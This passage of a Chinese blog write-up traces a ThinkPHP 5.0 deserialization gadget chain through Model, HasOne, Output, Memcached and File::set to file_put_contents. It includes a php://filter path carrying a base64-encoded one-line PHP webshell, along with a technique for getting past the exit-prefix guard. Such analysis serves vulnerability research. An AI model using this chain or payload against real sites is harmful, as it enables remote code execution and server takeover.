![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513629393-46b9c909-dc5c-48ca-bfe4-bdf503dd5305.png#averageHue=%232a2c28&clientId=u934ec687-29c8-4&from=paste&height=263&id=u202b8dc9&name=image.png&originHeight=329&originWidth=1262&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=550089&status=done&style=none&taskId=u799b2462-b92f-4dc5-8c54-980fc2e29d2&title=&width=1009.6)
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513451703-1350aac6-7436-4d8e-9341-ed79d9617bb5.png#averageHue=%232c2e2c&clientId=u934ec687-29c8-4&from=paste&height=794&id=uc1b10dc0&name=image.png&originHeight=992&originWidth=1910&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=2532544&status=done&style=none&taskId=ue61902f7-b27b-4b91-ba96-4e46d5240e8&title=&width=1528)
这里有四个比较重要的断点,首先是$relation
的赋值,是通过parseName方法完成的,我们跟进
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513534139-284edef2-b1da-4e50-9e24-cbce52f763e2.png#averageHue=%232b2d29&clientId=u934ec687-29c8-4&from=paste&height=329&id=uc0f05c5b&name=image.png&originHeight=411&originWidth=1301&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=680671&status=done&style=none&taskId=u0b39300c-09b9-469e-907c-8d226a6f7fa&title=&width=1040.8)
由于这里type传入的值为1所以进入if判断,因此直接返回name(遍历($this->append而得),在这里为getError
:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513616310-ed5164b5-07ec-47f8-996a-bf5f6a383474.png#averageHue=%232c2d28&clientId=u934ec687-29c8-4&from=paste&height=53&id=u8f03e27e&name=image.png&originHeight=66&originWidth=920&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=80441&status=done&style=none&taskId=u6889bf73-cf0c-445e-be9b-cd316fa5104&title=&width=736)
而Model类有getError这个方法,因此进入了method_exists
判断,然后对$modelRelation
进行了赋值,在这里是通过$this->$relation()
,也就是$this->$getError()
完成的:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677513906828-ffc874ae-b08f-4522-8b4e-9c834fdc3ec0.png#averageHue=%23292b29&clientId=u934ec687-29c8-4&from=paste&height=460&id=u5a992552&name=image.png&originHeight=575&originWidth=1555&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1161274&status=done&style=none&taskId=ue0c12e6e-1652-4222-9f56-176a43ec344&title=&width=1244)
在这里返回值可控,我们将其设置为了HasOne对象
这里HasOne先不说为什么是它,然后进入第二个断点也就是对$value
的赋值:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550092072-8a6e7f6a-fa92-46ea-851b-5819fd42cd67.png#averageHue=%232a2c29&clientId=ucdcb2c75-f9bd-4&from=paste&height=694&id=u8760b724&name=image.png&originHeight=867&originWidth=1309&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1432305&status=done&style=none&taskId=ue2910afc-1433-4a61-96c3-4efedeb9e58&title=&width=1047.2)
1
| if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
|
看这一段if判断,我们需要满足三个条件
首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了__call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output
类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)
才会触发__call
魔术方法,而该方法中value的值就是$this->parent
,所以第一个条件parent需要为Output对象
对于第二个条件,$modelRelation
我们已经完成了赋值,为HasOne
对象,我们观察一下isSelfRelation
方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550277648-a0259219-93de-4b34-adfc-8b18a07f1087.png#averageHue=%232c2f2c&clientId=ucdcb2c75-f9bd-4&from=paste&height=734&id=u1ea5c324&name=image.png&originHeight=917&originWidth=1857&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=2280110&status=done&style=none&taskId=ufbfb3cc3-1091-4bcc-8d21-8866f82098a&title=&width=1485.6)
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550289631-4285df38-b792-485a-905a-01edd020eff4.png#averageHue=%23333430&clientId=ucdcb2c75-f9bd-4&from=paste&height=66&id=uc33f5f5e&name=image.png&originHeight=83&originWidth=387&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=48059&status=done&style=none&taskId=udc15b1b1-d738-400c-9ca9-80a9640a398&title=&width=309.6)
由于hasone类是Relation类的子类,因此我们对$this->selfRelation
的值可控,只需让他为false即可
最后一个条件需要让Hasone::getModel
返回一个Output对象($this->parent),观察该方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550491004-75c8d036-d5b8-4b6f-9285-9d15963eea12.png#averageHue=%2331322d&clientId=ucdcb2c75-f9bd-4&from=paste&height=122&id=ub70b740a&name=image.png&originHeight=152&originWidth=577&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=121471&status=done&style=none&taskId=u2e3ac4af-45cb-4064-8f0a-7fd54dad941&title=&width=461.6)
调用了$this->query->getModel()
,全局搜索getModel方法,/thinkphp/library/think/db/Query.php
中的getModel方法我们可控:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550680798-df512e36-28da-49ba-bcc3-3604c28bcc72.png#averageHue=%23353935&clientId=ucdcb2c75-f9bd-4&from=paste&height=289&id=u303314bf&name=image.png&originHeight=361&originWidth=995&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=513032&status=done&style=none&taskId=uf341a6d3-c1e1-472e-8aba-d6acd2e0388&title=&width=796)
在这里只需要让this->query==thinkphp/library/thinl/db/Query.php
即可,然后让他的model属性为Output
对象
完成对Value的赋值后退出来,进入第三个断点,进入$modelRelation->getBindAttr()
:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550775241-1f11caad-c807-4510-b841-1b4813c8c035.png#averageHue=%232b2d28&clientId=ucdcb2c75-f9bd-4&from=paste&height=403&id=ucfb3f850&name=image.png&originHeight=504&originWidth=1317&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=890211&status=done&style=none&taskId=u15243c4a-8951-4e90-891b-ec22c3ea18d&title=&width=1053.6)
在这里$modelRelation
为Hasone
对象,因此调用它的getBindAttr
方法,跟进:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677550837929-3906b4aa-38d6-44d3-9ea8-6cf862865592.png#averageHue=%232a2c29&clientId=ucdcb2c75-f9bd-4&from=paste&height=681&id=u9d88bde4&name=image.png&originHeight=851&originWidth=1353&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1426914&status=done&style=none&taskId=ud215a001-1d6d-484a-9167-d70af27cd17&title=&width=1082.4)
返回HasOne对象的bindAttr属性,这里我们设置为一个数组["a"=>"admin"]
,这里的admin和结果中的文件名有关
出来后对bindAttr进行了遍历,取出了admin的值,随后准备触发__call方法,这里value为Output对象,attr为admin:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677551217047-6c7c368e-6894-4bb9-9f55-43e05ed9a174.png#averageHue=%23292b2a&clientId=ucdcb2c75-f9bd-4&from=paste&height=606&id=uc3a7a2f5&name=image.png&originHeight=758&originWidth=1372&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1337643&status=done&style=none&taskId=u321ac68a-00ba-4ef6-bb2f-6e26d8b5c7e&title=&width=1097.6)
进入__call方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677551371187-a1b1ecdd-2fbc-4477-8198-c81aee65d3fd.png#averageHue=%232a2c29&clientId=ucdcb2c75-f9bd-4&from=paste&height=696&id=u1677c945&name=image.png&originHeight=870&originWidth=1313&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1457422&status=done&style=none&taskId=u7ade28fb-b01e-407b-a251-ef81000ab77&title=&width=1050.4)
用array_shift方法将method和args结合在了一起,随后调用call_user_func_array
方法调用了自己的block方法,跟进该方法:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677551423622-103ca151-a028-48aa-bc04-1bf834852697.png#averageHue=%232c2d2a&clientId=ucdcb2c75-f9bd-4&from=paste&height=275&id=u8d92ec9e&name=image.png&originHeight=344&originWidth=1334&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=549893&status=done&style=none&taskId=uf9b8c1b7-7c3c-48d6-95b2-131e383d335&title=&width=1067.2)
该方法中又调用自己的writeln
方法,参数为<getAttr>admin</getAttr>
,这是上面2个变量拼贴来的
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677551476690-6c612115-de82-4d56-9250-4e935267d22f.png#averageHue=%232e2f2c&clientId=ucdcb2c75-f9bd-4&from=paste&height=150&id=uaf08c312&name=image.png&originHeight=187&originWidth=1341&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=314737&status=done&style=none&taskId=u88959c74-b9a2-4c96-87b4-2daac7c2871&title=&width=1072.8)
跟进writeln方法调用write,参数为之前带下来的<getAttr>admin</getAttr>
,另外两个分别为true,0
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677552107753-a584c885-9ee9-4ceb-9078-8f640ae79f5c.png#averageHue=%232c2e2a&clientId=ucdcb2c75-f9bd-4&from=paste&height=242&id=u56413936&name=image.png&originHeight=303&originWidth=1140&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=437611&status=done&style=none&taskId=u4da9342d-cf3d-4f93-a32d-144739fd540&title=&width=912)
调用$this->handle->write($messages, $newline, $type)
,全局搜索write方法,最终在Memcached
类找到合适的write方法,因此让Output的handle属性为Memcached
类:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677552186768-aeb7e7a1-abcf-48b5-838e-e0e9d290e182.png#averageHue=%232d2f2b&clientId=ucdcb2c75-f9bd-4&from=paste&height=158&id=ucc3a317d&name=image.png&originHeight=198&originWidth=1209&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=304916&status=done&style=none&taskId=ued8ddfdc-06a3-49f4-b4b3-40ae1c6d603&title=&width=967.2)
在Memcached
对象的write方法,调用了set方法,再找谁调用了set,最终在think/cache/driver/File
类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677553677458-b6182615-6902-455c-93de-65841d325d18.png#averageHue=%232c2e2b&clientId=ucdcb2c75-f9bd-4&from=paste&height=518&id=u36a40fec&name=image.png&originHeight=647&originWidth=1383&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1137813&status=done&style=none&taskId=u18b1c5eb-75c5-4aa9-831e-a2147549362&title=&width=1106.4)
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677552319092-c250a93c-0158-46c6-970a-bfdd3c35ca27.png#averageHue=%23292b29&clientId=ucdcb2c75-f9bd-4&from=paste&height=590&id=u10d17720&name=image.png&originHeight=738&originWidth=1389&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=1319970&status=done&style=none&taskId=u0eb2f3b8-b63f-4e34-9e91-2c9dc58c6ff&title=&width=1111.2)
最终会调用危险函数file_put_contents
,这里存在一个死亡函数绕过,这个在我之前的文章也有写到
不要捉弄我新人同学:F
其中filename是通过getCacheKey
函数获取的
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677553806409-f8d35575-a8fa-41fa-a0c4-2f840283cd59.png#averageHue=%232b2d29&clientId=ucdcb2c75-f9bd-4&from=paste&height=412&id=u91920e7d&name=image.png&originHeight=515&originWidth=1302&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=849735&status=done&style=none&taskId=ue3b49e97-b87d-4730-bda4-3689d8faff7&title=&width=1041.6)
这里的name就是<getAttr>admin</getAttr>
,这也就是为什么一开始说会和文件名有关,md5加密后就拼贴在了一起,其中this->options['path']
是我们可控的,这里让他为php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
可以绕过死亡函数
但是我们要注意,即使可控文件名,但是文件内容$data
,也就是$value
在这一次进入set方法不可控,为默认的true
,因此即使能创建文件也不能写马
继续往下分析会调用
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677553983389-7717cbfb-4d8d-4d4f-a203-b261414fe296.png#averageHue=%2330302a&clientId=ucdcb2c75-f9bd-4&from=paste&height=90&id=ub70b8af0&name=image.png&originHeight=112&originWidth=782&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=118339&status=done&style=none&taskId=u151122b0-663f-438b-bae5-5f97e5b1e3a&title=&width=625.6)
这个filename就是上面拼贴得到的:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| protected function setTagItem($name) { echo "in "; if ($this->tag) { $key = 'tag_' . md5($this->tag); $this->tag = null; if ($this->has($key)) { $value = explode(',', $this->get($key)); $value[] = $name; $value = implode(',', array_unique($value)); } else { $value = $name; } $this->set($key, $value, 0); } }
|
在该方法中最后又会调用一次set,然后这次value我们可控,就是传进来的name
,也就是filename,这就是死亡函数的第二种形式,文件名和内容一样,在上述文章也有就不分析了,因此在第二次进入set方法成功将马写入
因此一共创建2个文件,第二次创建的文件才是一句话木马:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677554133158-073d3769-d96c-4a78-964a-ac857e0fbcfa.png#averageHue=%2332332e&clientId=ucdcb2c75-f9bd-4&from=paste&height=106&id=ufe866ba2&name=image.png&originHeight=132&originWidth=501&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=105069&status=done&style=none&taskId=udfc0570c-5895-4e88-8b96-279e5c5475e&title=&width=400.8)
第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
![20221011115008-ccb4a1ce-4917-1.png](https://cdn.nlark.com/yuque/0/2023/png/32634994/1677554303467-3637e100-8061-4dc9-afb8-b7197601b72a.png#averageHue=%230f3b3e&clientId=ucdcb2c75-f9bd-4&from=paste&height=2437&id=u0dd4d63a&name=20221011115008-ccb4a1ce-4917-1.png&originHeight=3046&originWidth=1799&originalType=binary&ratio=1.25&rotation=0&showTitle=false&size=746691&status=done&style=none&taskId=ud496bfd7-66ed-4853-8185-4d591fc56ed&title=&width=1439.2)